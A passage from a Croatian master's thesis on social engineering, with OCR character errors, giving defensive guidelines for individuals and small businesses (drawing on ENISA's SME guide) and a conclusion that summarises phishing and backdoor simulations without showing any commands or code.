u tu svrhu kreiran racun e-poste, koji je kao i lozinku vazno ne dijeliti s drugima. Preporuca se
savjesno objavljivanje informacija, pri ¢emu se strogo preporuca nedijeljenje povjerljivih
podataka poput adrese, datuma rodenja, osobne iskaznice, telefonskih brojeva i brojeva
bankovnih Kkartica. Nuzno je da korisnik bude oprezan u pogledu kome dopusta da ga
kontaktira, odnosno koliko i kakve informacije dijeli sa strancima. Vazno je da korisnik
procita dostupna pravila o privatnosti druStvene mreze, kako bi znao koje podatke i kome
dijeli koriStenjem usluge, a u slucaju da korisnik viSe ne treba kreirani racun koji sadrzi
osobne podatke, deaktivacija nije dovoljna, ve¢ se savjetuje podnosenje zahtjeva za brisanje

racuna, [77].

Za sigurnu instant-messaging komunikaciju korisnicima se prvenstveno savjetuje
koriStenje usluga koje pruzaju enkripciju s kraja na kraj (engl. end-to-end encryption), kojom
se razmjenjivani sadrzaj kriptira i ¢itljiv je isklju¢ivo posiljatelju i onome kome je namijenjen,
a prije slanja poruke preporuca se provjera unesenih primatelja kako sadrzaj ne bi dospio
krivoj osobi. Sigurnosne postavke, kao i postavke privatnosti savjetuje se redovito revidirati, a
koristeni softver odrzavati azuriranim, ukljuciti vatrozid i instalirati antivirusni softver. Slanje
osjetljivin podataka treba izbjegavati, a ukoliko je neophodno, savjetuje se podesavanje
automatskog brisanja poruke. U slucaju pristizanja poruke naslovljene na podrSku sustava
treba biti vrlo oprezan, a prije otvaranja bilo kakve primljene datoteke izvrSiti skeniranje.

Nepovjerljivim 1 nepoznatim kontaktima preporuca se ne odgovarati, nipoSto ne otkrivati

33 PowerShell — naredbena ljuska; alat tehnoloske tvrtke Microsoft koji omogucuje automatizaciju zadataka na
OS-u, upravljanje servisima i administraciju ra¢unala i mreZe.
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osobne podatke, niti otvarati pristigle poveznice. Vrlo je vazno adekvatno podesiti koristenu
instant-messaging uslugu kako bi se onemogucéilo automatsko prihvacanje prijenosa datoteka,
[78].

lako se mogu primijeniti i u okviru poslovanja, odnosno organizacije, dosad
predlozene smjernice primarno su usmjerene na korisnika, pojedinca. U nastavku su iznesene
smjernice za poveéanje sigurnosti sustava i poslovanja poduzeca, prema priru¢niku
Agencije Europske unije za kiberneti¢ku sigurnost (ENISA) objavljenom 2021. godine pod

nazivom ,,Cybersecurity guide for SMEs - 12 steps to securing your business®.

Raspodjela odgovornosti unutar poduzeca mora biti prikladno izvrSena, pri ¢emu
osobe zaduZene za dodjeljivanje odgovornosti moraju osigurati resurse za kupovinu potrebnih
cybersecurity softvera, usluga i hardvera, obucavanje osoblja i razvoj politika poslovanja.
Nuzno je redovito provodenje revizija kiberneticke sigurnosti, a revizori moraju biti nezavisni
I posjedovati potrebno znanje, vjeStine i iskustvo. Jasno specificiranim pravilima, kroz
redovno revidirane i azurirane politike kiberneticke sigurnosti poduzeéa, zaposlenicima je
potrebno ukazati na ponaSanje kakvo se od njih o¢ekuje, kao i na moguce posljedice u sluéaju
nepostivanja pravilnika. Potrebno je pruzati redovitu obuku osoblja po pitanju kiberneticke
sigurnosti, kako bi zaposlenici bili u mogucnosti prepoznati i na primjeren nacin djelovati u
slucaju prijetnji. Vazno je osigurati uc¢inkovito upravljanje Svim organizacijama trece strane,
osobito onima koje imaju pristup sustavu ili osjetljivim podacima. Kroz adekvatno

formulirane ugovore potrebno je regulirati uvjete suradnje i osigurati da ih svi dionici postuju.

S ciljem povecanja sigurnosti, poduzece treba razviti formalni plan za incidente koji
sadrzi jasno dokumentirane smjernice, uloge i odgovornosti kako bi se osigurao pravovremen,
profesionalan i prikladan pristup sigurnosnim incidentima. Savjetuje se uporaba alata za
blokiranje neZeljene poste, poste koja sadrzi maliciozne privitke 1 poveznice na zlonamjerne
stranice. Potrebno je osigurati da svi zaposlenici upotrebljavaju dugacke lozinke, sastavljene
od velikih i malih slova, brojeva i posebnih znakova, a predlaze se koristenje upravitelja

lozinkama i aktivacija viSefaktorske autentikacije.

Odrzavanje uredaja osoblja sigurnima kljucni je korak programa kiberneticke
sigurnosti, zbog ¢ega se preporuca redovito azuriranje i instalacija zakrpi svih koristenih
softvera upotrebom centralizirane platforme. Takoder, savjetuje se i implementacija centralno
upravljanog antivirusnog rjesenja na sve tipove uredaja, redovito azuriranog kako bi se

osigurala stalna ucinkovitost. Prikladna fizicka kontrola treba biti implementirana gdje god je
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pohranjena vazna informacija, a uredaji poduzeca trebaju biti pod stalnim nadzorom i u

zaklju€anom stanju.

Podaci poduze¢a pohranjeni na mobilnim uredajima poput prijenosnih racunala,
pametnih telefona i tableta moraju biti zasti¢eni enkripcijom, a u slucaju prijenosa podataka
preko javnih mreZa potrebno je koriStenje VPN-a ili sigurne veze temeljene na Secure Socket
Layer (SSL)/Transport Layer Security (TLS) protokolu. Mrezne stranice poduzeca takoder
trebaju biti kriptirane kako bi se zastitili pohranjeni podaci, a predlaze se i implementacija
Mobile Device Managament (MDM) rjeSenja, kojim je moguce rijeSiti problem upotrebe
vlastitih uredaja u poslovne svrhe i time sprijeciti pohranu osjetljivih podataka poduzeca na
privatne uredaje zaposlenika. Implementiranim upravljanjem mobilnim uredajima moguce je
kontrolirati koji uredaji imaju pristup sustavu i uslugama, utvrditi jesu li uredaji kriptirani i
zaSticeni lozinkom, osigurati da su antivirusni programi azurirani i sigurnosne zakrpe

instalirane te izvrsiti udaljeno brisanje u sluc¢aju potrebe.

Predlaze se redovito i automatizirano stvaranje sigurnosnih kopija (engl. backup)
klju¢nih informacija kako bi se podaci mogli oporaviti u slucaju gubitka. Sigurnosne kopije

trebaju biti kriptirane i ¢uvati se izvan okruzenja poduzeca.

Za potrebe zaStite mreZe savjetuje se uporaba adekvatno konfiguriranog vatrozida, a
prilikom odabira posluzitelja usluge za pohranu u oblaku, poduzeca trebaju biti svjesna gdje i
na koji nacin pohranjuju podatke te osigurati da pohranom ne krse zakone i regulacije,

posebice osobnih podataka, [79].
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7. ZAKLJUCAK

Psiholoska manipulacija fenomen je koji seze daleko u povijest, prije pojave Interneta,
drustvenih mreza i ostalih, danas poznatih sustava i servisa. Nagovaranje, pretvaranje, lazno
predstavljanje i1 sliéne metode obmane zlonamjerne osobe oduvijek su koristile u cilju
stjecanja odredenih dobara. Danas poznata sintagma ,socijalni inzenjering® odnosi se
primarno na moderno doba, gdje je cilj zadobivanje pristupa osjetljivim podacima

prvenstveno u digitalnom obliku.

Globalna digitalizacija, razvoj tehnologija, masovno koristenje druStvenih mreza i
raznovrsnih multimedijalnih platformi te promjena nafina komuniciranja i socijalizacije
op¢enito, neminovno su doveli i do razvoja i porasta kriminalnih radnji. Danas, podaci
pojedinca ili grupe glavna su meta napada, a upravo tehnike socijalnog inzenjeringa temelj su

vecine zlonamjernih, kriminalnih radnji u modernom svijetu.

Poznate su raznovrsne metode socijalnog inzenjeringa kojima zlonamjerni Kkorisnici
ostvaruju maliciozne ciljeve, a krecu se od pretrazivanja informacija, stvaranja obrazaca i
profiliranja zrtava temeljenih na fizickoj intervenciji, do onih slozenijih koje se provode
pomoc¢u naprednih programskih alata. Dostupnost i brojnost alata upotrebljavanih u svrhu
socijalnog inZenjeringa izrazito je velika, $to znatno doprinosi problematici kiberneticke

sigurnosti.

U okviru diplomskog rada socijalni inzenjering analiziran je kroz detaljan opis obiljezja,
metoda napada i alata koji se koriste, a u prakti¢cnom dijelu kao okosnici rada simulirana su
dva Cesta kiberneti¢ka napada, phishing i eksploatacija ciljnog racunala stvaranjem backdoor
pristupa. Za provedbu simulacija odabrana je Linux distribucija Kali, kao najc¢es¢i izbor
struénjaka za kiberneticku sigurnost, ali 1 entuzijasta i zlonamjernih socijalnih inZenjera.
Dostupnim besplatnim programskim alatima demonstrirani su postupci provedbe, a kroz
prikupljene informacije i simulaciju nelegitimno ostvarenog pristupa udaljenom racunalu

prikazana je ozbiljnost ovakvih napada.

Ljudski faktor, za razliku od hardverskog i softverskog dijela sustava, nije moguce
jednostavno unaprijediti, usavrsiti ili ,,zakrpom® poboljsati, zbog cega je bitno konstantno
podizati svijest i educirati korisnike o potencijalnim prijetnjama i ranjivostima. U zavr§nom
dijelu rada predlozene su smjernice zastite od napada socijalnog inZenjeringa, a zasnivaju se

na zaklju¢cima izvedenim iz provedenih simulacija i prethodno opisanog istrazivanja.
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Proucavanjem tematike kiberneti¢kih napada u okviru iskoriStavanja ljudske psihologije,
zaklju€eno je da Socijalni inZenjering moZze imati teske posljedice i nerijetko predstavlja prvi
korak za veéi napad. U svijetu u kojemu digitalni podaci predstavljaju najve¢u imovinu
svakog pojedinca, izrazito je bitno da su zaposlenici, ali i ljudi generalno, dobro upoznati sa
sigurnosnim prijetnjama, jer veéina kvarova i napada nije povezana sa samom tehnologijom,
ve¢ upravo s ljudskim faktorom i na¢inom na koji se podaci, informacije i sustavi koriste. Niti
jedan korisnik rac¢unala, odnosno Interneta nije imun i predstavlja potencijalnog kandidata za

napad socijalnim inZenjeringom.
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